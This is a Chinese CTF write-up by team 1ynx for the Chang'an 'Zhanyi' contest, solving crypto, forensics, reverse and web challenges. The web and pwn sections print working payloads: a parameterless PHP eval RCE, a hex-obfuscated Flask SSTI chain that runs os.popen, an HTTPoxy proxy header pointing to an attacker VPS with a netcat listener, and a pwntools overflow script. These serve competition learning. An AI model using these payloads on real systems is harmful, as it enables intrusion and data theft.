Contents

长安“战疫”网络安全卫士守护赛 1ynx战队 Writeup

0x00 前言

0x01 八卦迷宫

一起走迷宫吧,要提交全拼音字符奥

走迷宫,将八卦转成字符为cazy{战长恙长战恙河长山山安战疫疫战疫安疫长安恙},再进一步转成拼音cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

0x02 RCE_No_Para

 <?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?> 

我们可以通过传递的参数来进行RCE,get_defined_vars(),此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

a=phpinfo();&code=eval(current(current(get_defined_var ())));

构造a=system('cat flag.php');&code=eval(current(current(get_defined_vars())));

0x03 西安加油

用wireshark打开pcap文件,追踪tcp流,在tcp.stream eq 6时,发现出现secret.txt的字样和一大串疑似base64的字符。

把字符提取出来,放到cyberchef里面,解密后疑似zip压缩包。

解压后得到48张照片,拼好就可以得到flag。

这个比较简单,直接开了个ppt手撕,得到cazy{make_XiAN_great_Again}。

0x04 no_cry_no_can

from Crypto.Util.number import*
from secret import flag,key

assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):
    block_len = len(flag) // len(key) + 1
    new_key = key * block_len
    return bytes([i^j for i,j in zip(flag,new_key)])

c = can_encrypt(flag,key)
print(c)

# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'

阅读代码可知,flag的前5个字符是cazy{,该算法会把key的长度进行填充,然后逐一与flag的字符进行异或,得到密文,而且key的长度是小于等于5的,所以我们可以通过密文前5个字符与flag前5个字符进行异或,求出key值,密文的长度是26,而flag的长度绝对不超过26,可以把key值进行填充,与密文逐一异或,即可求出flag。

脚本如下:

flag_head = b'cazy{'
c_head = b'<pH\x86\x1a'
key_max = (bytes([i^j for i,j in zip(flag_head,c_head)]))
print('key_max:',key_max)
c = b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
block_len = len(c)// len(key_max) + 1
new_key = key_max * block_len
print('new_key:',new_key)
flag = (bytes([i^j for i,j in zip(c,new_key)]))
print('flag:',flag)

最终的flag为:cazy{y3_1s_a_h4nds0me_b0y!}

0x05 no_can_no_bb

import random
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from secret import flag

assert flag[:5] ==b'cazy{'

def pad(m):
    tmp = 16-(len(m)%16)
    return m + bytes([tmp for _ in range(tmp)])

def encrypt(m,key):
    aes = AES.new(key,AES.MODE_ECB)
    return aes.encrypt(m)

if __name__ == "__main__":
    flag = pad(flag)
    key = pad(long_to_bytes(random.randrange(1,1<<20)))
    c = encrypt(flag,key)
    print(c)
# b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'

这道题的求解关键在于key值,它是从1到1048576中随机生成的一个数经过pad()函数处理得到的结果,可以发现这个范围并不是很大,可以直接暴力破解出来。

解密脚本如下:

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES

def pad(m):
    tmp = 16-(len(m)%16)
    return m + bytes([tmp for _ in range(tmp)])

def decrypt(m,key):
    aes = AES.new(key,AES.MODE_ECB)
    return aes.decrypt(m)

if __name__ == "__main__":
    c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
    for i in range(1,1<<20):
        key = pad(long_to_bytes(i))
        flag = decrypt(c,key)
        if b'cazy{' in flag:
            print(flag)

稍等几秒钟就能跑出结果。flag为cazy{n0_c4n,bb?n0p3!}

0x06 朴实无华的取证

查看镜像信息

filescan搜索一下txt文件,发现一个日记很可疑啊。

导出查看,发现个很像密钥的玩意儿,20211209

搜索图片,发现一个flag文件。

导出查看一下,得到一串离谱的字母FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]

再搜索关键字桌面,找到flag.zip的压缩包。

解压后查看发现和加密有关,foremost分离一下。

得到一段加密代码

//幼儿园水平的加密(部分)
void Encrypt(string& str)
{
        for(int i = 0; i < str.length(); i++)
        {
                if(str[i] >='a'&& str[i]<='w')
                        str[i]+=3;
                else if(str[i]=='x')
                        str[i]='a';
                else if(str[i]=='y')
                        str[i]='b';
                else if(str[i]=='z')
                        str[i]='c';        
                else if(str[i]=='_')
                        str[i]='|';
                str[i] -= 32;
        }
}

用大班水平的代码能力编写如下脚本:

s1 = 'FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]'

flag = ''
for i in range(len(s1)):
        k = chr(ord(s1[i])+32)
        if chr(ord(k)-3) >='a'and chr(ord(k)-3)<='w':
                k = chr(ord(k)-3)
        elif(k == 'a'):
                k ='x';
        elif(k == 'b'):
                k = 'y';
        elif(k == 'c'):
                k = 'z';        
        elif(k == '|'):
                k = '_';
        flag += k
print (flag)

最后得到cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

0x07 binary

使用jadx打开234文件,可以看到java代码。

将byte数组转成ascii码,再转base64,得到一大串的01,感觉是二维码,上脚本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from PIL import Image
from zlib import *

MAX = 37
pic = Image.new("RGB",(MAX,MAX))
str ="0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000"

i=0
for y in range(0,MAX):
    for x in range(0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.save("flag.png")

最后得到图片,扫描得到flag{932b2c0070e4897ea7df0190dbf36ece}

0x08 Flask

给了hint

利用.js?作为后缀绕过重定向,进入admin路由

根据提示admin/?name=找到ssti入口

测试了下存在过滤了__,subclasses,[,],builtins,args等

中括号通过attr的过滤器绕过,字符串以及下划线过滤用16进制绕过,

最终payload

/admin?name={{lipsum"attr('\x5f\x5fglobals\x5f\x5f')"attr('get')
('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')"attr('get')('eval')
('\x5f\x5fimport\x5f\x5f("os").popen("cat%20flag").read()')}}.js?

0x09 Flag配送中心

考点HTTPoxy漏洞(CVE-2016-5385)

报文中加个proxy:http://vps:2333

在自己vps上监听该端口

nc-lvp2333

发个请求

接收到flag

0x0A pwn1

from pwn import *
# sh = process('pwn1')
sh = remote("113.201.14.253",16088)
vul_addr = 0x08048540
gift = sh.recv()[5:15]
gift = int(gift,16)
print(hex(gift))
payload = b'a'*(52)+p32(gift+0x50)+b"a"*20+p32(vul_addr)
# input()
sh.send(payload)
sh.interactive()

0x0B combat_slogan

将密文作为参数传进加密函数即可

0x0C cute_doge

信了信了

x64dbg打开QMessageBox下断点,跟几步就看到了flag

0x0D hello_py

Happy = [44,100,3,50,106,90,5,102,10,112]

for i in range(10):
    if(i%2==1):
        print(chr(Happy[i]^i),end='')
    else:
        print(chr(Happy[i]^Happy[i+1]),end='')